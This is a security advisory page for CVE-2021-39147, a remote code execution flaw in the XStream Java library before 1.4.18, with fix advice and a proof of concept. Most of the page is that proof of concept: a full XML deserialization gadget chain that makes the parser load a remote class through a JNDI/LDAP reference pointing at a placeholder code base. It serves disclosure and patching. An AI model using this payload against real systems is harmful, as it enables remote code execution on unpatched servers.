Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
3.02% (92nd
percentile)
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Test your applications- Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569182
- published 24 Aug 2021
- disclosed 24 Aug 2021
- credit wh1t3p1g
Introduced: 24 Aug 2021
CVE-2021-39147 Open this link in a new tabHow to fix?
Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
<listArg class='javax.naming.CompoundName' serialization='custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string>
</javax.naming.CompoundName>
</listArg>
<cleaned>false</cleaned>
<res>
<msgId>0</msgId>
<status>0</status>
</res>
<enumClnt>
<isLdapv3>false</isLdapv3>
<referenceCount>0</referenceCount>
<pooled>false</pooled>
<authenticateCalled>false</authenticateCalled>
</enumClnt>
<limit>1</limit>
<posn>0</posn>
<homeCtx>
<__contextType>0</__contextType>
<port__number>1099</port__number>
<hostname>127.0.0.1</hostname>
<clnt reference='../../enumClnt'/>
<handleReferrals>0</handleReferrals>
<hasLdapsScheme>true</hasLdapsScheme>
<netscapeSchemaBug>false</netscapeSchemaBug>
<referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize>
<deleteRDN>false</deleteRDN>
<typesOnly>false</typesOnly>
<derefAliases>0</derefAliases>
<addrEncodingSeparator/>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</useDefaultPortNumber>
<parentIsLdapCtx>false</parentIsLdapCtx>
<hopCount>0</hopCount>
<unsolicited>false</unsolicited>
<sharable>false</sharable>
<enumCount>1</enumCount>
<closeRequested>false</closeRequested>
</homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
<startName class='javax.naming.ldap.LdapName' serialization='custom'>
<javax.naming.ldap.LdapName>
<default/>
<string>uid=ysomap,ou=oa,dc=example,dc=com</string>
</javax.naming.ldap.LdapName>
</startName>
<searchArgs>
<name class='javax.naming.CompoundName' reference='../../listArg'/>
<filter>ysomap</filter>
<cons>
<searchScope>1</searchScope>
<timeLimit>0</timeLimit>
<derefLink>false</derefLink>
<returnObj>true</returnObj>
<countLimit>0</countLimit>
</cons>
<reqAttrs/>
</searchArgs>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javaNamingReference</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1/</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>foo</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>EvilObj</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
References
CVSS Scores
version 3.1